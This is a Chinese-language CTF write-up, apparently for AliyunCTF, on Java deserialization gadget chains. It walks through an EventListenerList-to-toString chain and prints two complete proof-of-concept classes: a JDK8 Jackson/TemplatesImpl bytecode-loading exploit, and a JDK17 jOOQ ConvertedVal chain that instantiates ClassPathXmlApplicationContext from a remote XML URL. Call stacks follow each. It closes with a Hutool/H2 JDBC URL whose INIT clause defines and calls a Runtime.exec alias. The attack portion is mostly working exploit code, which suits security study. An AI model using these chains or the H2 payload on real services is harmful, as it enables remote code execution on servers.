他时若遂凌云志,敢笑黄巢不丈夫!

学到了,学废了,Orz

原生反序列化

先来看看 toString 的新链

javax.swing.event.EventListenerList#readObject

调用add方法

Automatic Call of toString():
初次看的时候,发现并没有toString的调用啊,疑惑?其实巧妙的是,在 Object 进行拼接的时候会自动触发该对象的toString方法(很基础的点,但很容易遗漏)

接下来看看是否可控,很明显是EventListener l = (EventListener)s.readObject();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Serialization support.
private void writeObject(ObjectOutputStream s) throws IOException {
Object[] lList = listenerList;
s.defaultWriteObject();

// Save the non-null event listeners:
for (int i = 0; i < lList.length; i+=2) {
Class<?> t = (Class)lList[i];
EventListener l = (EventListener)lList[i+1];
if ((l!=null) && (l instanceof Serializable)) {
s.writeObject(t.getName());
s.writeObject(l);
}
}

s.writeObject(null);
}

需要找到能够强制转换为 EventListener 类型的类,并且实现 Serializable 接口

然后存放到 listenerList 属性中

javax.swing.undo.UndoManager#toString

该类实现了 UndoableEditListener 接口

而该接口继承了java.util.EventListener

看到这个类的 toString 方法

limit 与 indexOfNextAdd 都是int类型,那么就跟进到父类
javax.swing.undo.CompoundEdit#toString

发现protected Vector<UndoableEdit> edits;,其余均是boolean类型,那么只能把希望寄托在 Vector 类了

java.util.Vector#toString

直接super.toString();,跟进java.util.AbstractCollection#toString

又是一个combo,即

1
2
3
StringBuilder sb = new StringBuilder();
E e = it.next();
sb.append(e == this ? "(this Collection)" : e);

这里会调用到java.lang.StringBuilder#append

java.lang.String#valueOf

非常巧妙的一条链

给出JDK1.8的 jackson 利用链,POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Vector;

public class jackson_EventListenerList {
static {
try {
// javassist 修改 BaseJsonNode
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
writeReplace.setBody("return $0;");
ctClass.writeFile();
ctClass.toClass();
} catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception{
byte[] bytes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes,ClassFiles.classAsBytes(jackson_BadAttributeValueExpException.Foo.class)});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
setFieldValue(templatesImpl, "_transletIndex", 0);

//使用 Spring AOP 中的 JdkDynamicAopProxy,确保只触发 getOutputProperties
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);

POJONode pojoNode = new POJONode(proxy);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(pojoNode);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(eventListenerList);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())).length());

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeJoinpointUsingReflection:344, AopUtils (org.springframework.aop.support)
invoke:208, JdkDynamicAopProxy (org.springframework.aop.framework)
getOutputProperties:-1, $Proxy0 (com.sun.proxy)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:59, BaseJsonNode (com.fasterxml.jackson.databind.node)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1003, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)

server

由于环境是JDK17的,那么TemplatesImpl就无法利用了,需要找一条新的getter利用链
看到给出了依赖:

1
2
3
4
5
<dependency>
<groupId>org.jooq</groupId>
<artifactId>jooq</artifactId>
<version>3.19.3</version>
</dependency>

直接给出结论:

1
EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>

org.jooq.impl.ConvertedVal#getValue

调用this.getDataType()的 convert 方法,参数为this.delegate.getValue()

org.jooq.impl.AbstractTypedNamed#getDataType

这个type需要为 DataType 类型、delegate需要为 AbstractParamX 类型

1
2
3
4
5
6
7
8
9
10
11
12
13
final AbstractParamX<?> delegate;

ConvertedVal(AbstractParamX<?> delegate, DataType<T> type) {
super(delegate.getUnqualifiedName(), type);
AbstractParamX var10001;
if (delegate instanceof ConvertedVal<?> c) {
var10001 = c.delegate;
} else {
var10001 = delegate;
}

this.delegate = var10001;
}

通过构造方法即可赋值

org.jooq.impl.Val

this.delegate 使用的是org.jooq.impl.Val,该类继承了 AbstractParam

看到org.jooq.impl.AbstractParam#getValue

即,参数为value值

org.jooq.impl.TableDataType

this.type则使用的org.jooq.impl.TableDataType,该类继承了DefaultDataType

最终会调用到父类org.jooq.impl.AbstractDataType的 convert 方法

执行Convert.convert(object, this.getType())

这里this.getType()的值为this.uType,并且为Class类型

跟进org.jooq.impl.Convert#convert

跟进convert0方法

调用到Convert$ConvertAll的from方法,看到1084行

循环遍历this.toClass的构造方法,直到找到只有一个参数并且该参数的类型不与类本身相同,最后实例化该类

很明显能想到:

1
2
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext

两个经典的实例化RCE

官方poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.context.support.FileSystemXmlApplicationContext;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;

// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class jackson_EventListenerList_ConvertedVal {
public static void main(String[] args) throws Exception {
gen("http://localhost:8000/poc.xml");
}

public static void gen(String url) throws Exception{
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();

Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);

Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);

Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);

Object value = url;
Class type = ClassPathXmlApplicationContext.class;

ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);

ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();

POJONode pojoNode = new POJONode(convertedVal);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

byte[] data = SerializeUtil.serialize(eventListenerList);
System.out.println(Base64.getEncoder().encodeToString(data));

SerializeUtil.deserialize(data);

}

}

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:77, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (jdk.internal.reflect)
newInstanceWithCaller:499, Constructor (java.lang.reflect)
newInstance:480, Constructor (java.lang.reflect)
from:1401, Convert$ConvertAll (org.jooq.impl)
convert0:443, Convert (org.jooq.impl)
convert:518, Convert (org.jooq.impl)
convert:771, AbstractDataType (org.jooq.impl)
convert:139, DefaultDataType (org.jooq.impl)
getValue:90, ConvertedVal (org.jooq.impl)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
serializeAsField:688, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:772, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1150, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
_serializeNonRecursive:105, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)
serialize:85, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:479, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:318, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1572, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1273, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1140, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:34, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:242, BaseJsonNode (com.fasterxml.jackson.databind.node)
valueOf:4222, String (java.lang)
append:173, StringBuilder (java.lang)
toString:457, AbstractCollection (java.util)
toString:1083, Vector (java.util)
stringOf:453, StringConcatHelper (java.lang)
invokeStatic:-1, DirectMethodHandle$Holder (java.lang.invoke)
invoke:-1, LambdaForm$MH/0x000001b1dd191400 (java.lang.invoke)
linkToTargetMethod:-1, LambdaForm$MH/0x000001b1dd191c00 (java.lang.invoke)
toString:266, CompoundEdit (javax.swing.undo)
toString:695, UndoManager (javax.swing.undo)
stringOf:453, StringConcatHelper (java.lang)
invokeStatic:-1, DirectMethodHandle$Holder (java.lang.invoke)
invoke:-1, LambdaForm$MH/0x000001b1dd00e000 (java.lang.invoke)
linkToTargetMethod:-1, Invokers$Holder (java.lang.invoke)
add:213, EventListenerList (javax.swing.event)
readObject:309, EventListenerList (javax.swing.event)

agent

给出了依赖:

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>

<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>

一个是H2-数据库,另一个是Hutool-Java工具包类库

Hutool的利用在2023 国赛初赛中出现过:2023 CISCN 初赛 Web Writeup - X1r0z Blog

hutool 会在 add/put 的时候触发任意 getter/setter

看到cn.hutool.db.ds.DSFactory#getDataSource

跟进到子类cn.hutool.db.ds.AbstractDSFactory#getDataSource

创建DataSource对象

首先确保Setting config不为空,并且存在key url

通过url来自动加载相应的Driver类,看到 createDataSource 的实现类

根据依赖等限制,最终可选择的类如下:

  • JndiDSFactory
  • PooledDSFactory

JNDI(失败的利用)

cn.hutool.db.ds.jndi.JndiDSFactory

从Setting中获取jndi,然后调用cn.hutool.db.DbUtil#getJndiDs

很显然的JNDI注入

可惜的是暂时无法绕过JDK高版本限制,forceString 在 Tomcat 较新的版本中已经修复

报错:

The forceString option has been removed as a security hardening measure. Instead, if the setter method doesn’t use String, a primitive or a primitive wrapper, the factory will look for a method with the same name as the setter that accepts a String and use that if found.

H2 JDBC RCE

cn.hutool.db.ds.pooled.PooledDSFactory

获取参数并放到 dbConfig,然后实例化cn.hutool.db.ds.pooled.PooledDataSource

跟进 newConnection 方法

实例化cn.hutool.db.ds.pooled.PooledConnection

DriverManager.getConnection创建数据库连接,同时存在H2依赖

虽然在JDK15以后移除了javascript,但是还是能用 RUNSCRIPT 加载远程sql文件

Java安全攻防之老版本Fastjson的一些不出网利用

为什么需要RUNSCRIPT? 按照网上的说法是:
1、H2 RCE分为两个步骤,需要先创建代码执行方法,再通过EXEC执行该方法
2、H2 init所使用的session.prepareCommand不支持执行多条SQL语句

其实并不需要 RUNSCRIPT 出网加载,prepareCommand本身是支持多条SQL语句执行:(仅需要将分号转义即可)

1
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('calc')\;

参考:
AliYunCTF By W&M x V&N
第二届AliyunCTF官方writeup